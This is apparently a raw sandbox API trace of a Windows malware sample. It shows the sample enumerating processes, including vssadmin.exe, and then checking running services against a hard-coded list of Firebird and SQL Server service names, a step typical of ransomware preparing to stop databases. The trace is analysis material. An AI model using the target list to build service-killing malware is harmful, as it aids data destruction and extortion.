	[0188.044] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0188.044] lstrlenW (lpString="vssadmin.exe") returned 12
	[0188.044] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0188.045] lstrlenW (lpString="dllhost.exe") returned 11
	[0188.045] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0188.045] CloseHandle (hObject=0x538) returned 1
	[0188.045] Sleep (dwMilliseconds=0x1f4) 
	[0188.877] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x668330
	[0189.016] EnumServicesStatusExW (in: hSCManager=0x668330, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0189.017] GetLastError () returned 0xea
	[0189.017] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1c28) returned 0x4470140
	[0189.018] EnumServicesStatusExW (in: hSCManager=0x668330, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4470140, cbBufSize=0x1c28, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4470140, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0189.019] CloseServiceHandle (hSCObject=0x668330) returned 1
	[0189.019] lstrlenW (lpString="Appinfo") returned 7
	[0189.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0189.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0189.019] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0189.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0189.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0189.020] lstrlenW (lpString="AppXSvc") returned 7
	[0189.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0189.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0189.020] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0189.020] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0189.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0189.020] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0189.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0189.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0189.020] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0189.020] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0189.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0189.020] lstrlenW (lpString="Audiosrv") returned 8
	[0189.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0189.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0189.020] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0189.020] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0189.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0189.020] lstrlenW (lpString="BFE") returned 3
	[0189.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0189.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0189.020] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0189.020] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0189.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0189.020] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0189.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0189.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0189.020] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0189.021] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0189.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0189.021] lstrlenW (lpString="CDPSvc") returned 6
	[0189.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0189.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0189.021] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0189.021] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0189.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0189.021] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0189.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0189.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0189.021] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0189.021] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0189.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0189.021] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0189.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0189.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0189.021] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0189.021] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0189.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0189.021] lstrlenW (lpString="CryptSvc") returned 8
	[0189.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0189.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0189.021] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0189.021] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0189.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0189.021] lstrlenW (lpString="DcomLaunch") returned 10
	[0189.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0189.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0189.022] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0189.022] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0189.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0189.022] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0189.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0189.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0189.022] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0189.022] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0189.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0189.022] lstrlenW (lpString="Dhcp") returned 4
	[0189.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0189.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0189.022] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0189.022] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0189.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0189.022] lstrlenW (lpString="Dnscache") returned 8
	[0189.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0189.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0189.022] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0189.022] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0189.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0189.022] lstrlenW (lpString="DPS") returned 3
	[0189.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0189.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0189.022] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0189.022] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0189.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0189.023] lstrlenW (lpString="DsmSvc") returned 6
	[0189.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0189.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0189.023] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0189.023] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0189.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0189.023] lstrlenW (lpString="DusmSvc") returned 7
	[0189.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0189.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0189.023] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0189.023] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0189.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0189.023] lstrlenW (lpString="EventLog") returned 8
	[0189.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0189.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0189.023] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0189.023] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0189.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0189.023] lstrlenW (lpString="EventSystem") returned 11
	[0189.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0189.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0189.023] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0189.023] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0189.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0189.023] lstrlenW (lpString="FontCache") returned 9
	[0189.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0189.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0189.023] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0189.023] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0189.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0189.024] lstrlenW (lpString="gpsvc") returned 5
	[0189.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0189.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0189.024] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0189.024] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0189.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0189.024] lstrlenW (lpString="iphlpsvc") returned 8
	[0189.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0189.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0189.024] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0189.024] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0189.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0189.024] lstrlenW (lpString="KeyIso") returned 6
	[0189.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0189.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0189.024] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0189.024] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0189.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0189.024] lstrlenW (lpString="LanmanServer") returned 12
	[0189.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0189.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0189.024] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0189.024] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0189.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0189.024] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0189.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0189.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0189.025] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0189.025] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0189.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0189.025] lstrlenW (lpString="lfsvc") returned 5
	[0189.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0189.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0189.025] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0189.025] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0189.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0189.025] lstrlenW (lpString="lmhosts") returned 7
	[0189.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0189.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0189.025] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0189.025] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0189.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0189.025] lstrlenW (lpString="LSM") returned 3
	[0189.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0189.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0189.025] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0189.025] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0189.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0189.025] lstrlenW (lpString="MpsSvc") returned 6
	[0189.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0189.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0189.240] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0189.240] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0189.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0189.240] lstrlenW (lpString="NcbService") returned 10
	[0189.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0189.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0189.240] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0189.240] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0189.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0189.240] lstrlenW (lpString="netprofm") returned 8
	[0189.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0189.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0189.240] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0189.240] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0189.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0189.240] lstrlenW (lpString="NgcSvc") returned 6
	[0189.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0189.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0189.240] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0189.240] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0189.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0189.240] lstrlenW (lpString="NlaSvc") returned 6
	[0189.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0189.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0189.241] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0189.241] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0189.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0189.241] lstrlenW (lpString="nsi") returned 3
	[0189.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0189.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0189.241] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0189.241] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0189.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0189.241] lstrlenW (lpString="PcaSvc") returned 6
	[0189.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0189.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0189.241] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0189.241] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0189.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0189.241] lstrlenW (lpString="PlugPlay") returned 8
	[0189.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0189.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0189.241] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0189.241] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0189.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0189.241] lstrlenW (lpString="Power") returned 5
	[0189.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0189.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0189.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0189.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0189.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0189.241] lstrlenW (lpString="ProfSvc") returned 7
	[0189.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0189.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0189.242] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0189.242] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0189.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0189.242] lstrlenW (lpString="RpcEptMapper") returned 12
	[0189.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0189.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0189.242] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0189.242] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0189.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0189.242] lstrlenW (lpString="RpcSs") returned 5
	[0189.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0189.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0189.242] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0189.242] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0189.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0189.242] lstrlenW (lpString="SamSs") returned 5
	[0189.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0189.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0189.242] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0189.242] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0189.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0189.242] lstrlenW (lpString="Schedule") returned 8
	[0189.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0189.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0189.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0189.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0189.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0189.243] lstrlenW (lpString="SecurityHealthService") returned 21
	[0189.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0189.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0189.243] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0189.243] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0189.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0189.243] lstrlenW (lpString="SENS") returned 4
	[0189.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0189.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0189.243] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0189.243] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0189.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0189.243] lstrlenW (lpString="ShellHWDetection") returned 16
	[0189.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0189.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0189.243] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0189.243] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0189.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0189.243] lstrlenW (lpString="Spooler") returned 7
	[0189.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0189.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0189.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0189.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0189.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0189.243] lstrlenW (lpString="StateRepository") returned 15
	[0189.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0189.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0189.244] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0189.244] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0189.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0189.244] lstrlenW (lpString="SysMain") returned 7
	[0189.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0189.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0189.244] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0189.244] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0189.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0189.244] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0189.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0189.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0189.244] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0189.244] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0189.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0189.244] lstrlenW (lpString="Themes") returned 6
	[0189.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0189.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0189.244] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0189.244] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0189.245] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4470140 | out: hHeap=0x610000) returned 1
